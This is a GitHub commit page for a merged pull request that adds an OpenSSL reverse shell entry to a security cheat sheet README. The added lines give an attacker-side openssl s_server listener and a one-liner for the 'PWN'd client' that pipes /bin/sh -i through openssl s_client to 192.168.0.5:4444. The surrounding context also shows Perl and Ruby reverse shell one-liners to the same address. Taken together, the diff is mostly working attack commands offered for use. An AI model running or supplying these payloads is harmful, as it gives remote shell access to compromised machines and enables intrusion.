Skip to content

Commit 2a8e0e2

Browse files
author
İsmail Taşdelen
authored
Merge pull request security-cheatsheet#7 from RaidAndFade/patch-2
Add OpenSSL reverse shell
2 parents 8627412 + 9d320f5 commit 2a8e0e2

File tree

1 file changed

+13
-0
lines changed

1 file changed

+13
-0
lines changed

README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -46,6 +46,19 @@ perl -e 'use Socket;$i="192.168.0.5";$p=4545;socket(S,PF_INET,SOCK_STREAM,getpro
4646
ruby -rsocket -e'f=TCPSocket.open("192.168.0.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
4747
```
4848

49+
#### OpenSSL:
50+
51+
On your machine (to receive, not a normal TCP connection)
52+
```
53+
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes # generate some arbitrary cert
54+
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
55+
```
56+
57+
On PWN'd client
58+
```
59+
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.5:4444 > /tmp/s; rm /tmp/s
60+
```
61+
4962
#### Java :
5063

5164
```

0 commit comments

Comments
 (0)